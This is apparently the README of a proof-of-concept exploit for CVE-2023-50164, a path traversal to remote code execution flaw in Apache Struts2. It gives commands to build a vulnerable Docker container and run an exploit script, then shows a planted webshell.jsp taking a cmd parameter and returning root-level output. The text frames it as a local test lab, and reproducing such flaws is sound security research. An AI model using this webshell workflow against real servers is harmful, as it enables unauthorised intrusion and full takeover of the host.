CVE-2023-50164 (Apache Struts path traversal to RCE vulnerability) - Proof of Concept# CVE-2023-50164 (Apache Struts path traversal to RCE vulnerability) - Proof of Concept
This PoC has been made to test an RCE (Remote Code Execution) by exploiting the Apache Struts2 vulnerability.
Build the image and run a container:
```console
$ DOCKER_BUILDKIT=1 docker build . -t struts2-rce-poc && docker run --rm -p 8080:8080 struts2-rce-poc
```
Run the exploit:
```
$ cd exploit
$ ./exploit.sh
```
Now you can executy arbitrary commands on server side as showed:
```
$ curl http://localhost:8080/webshell/webshell.jsp\?cmd\=id%20-a
uid=0(root) gid=0(root) groups=0(root)
```
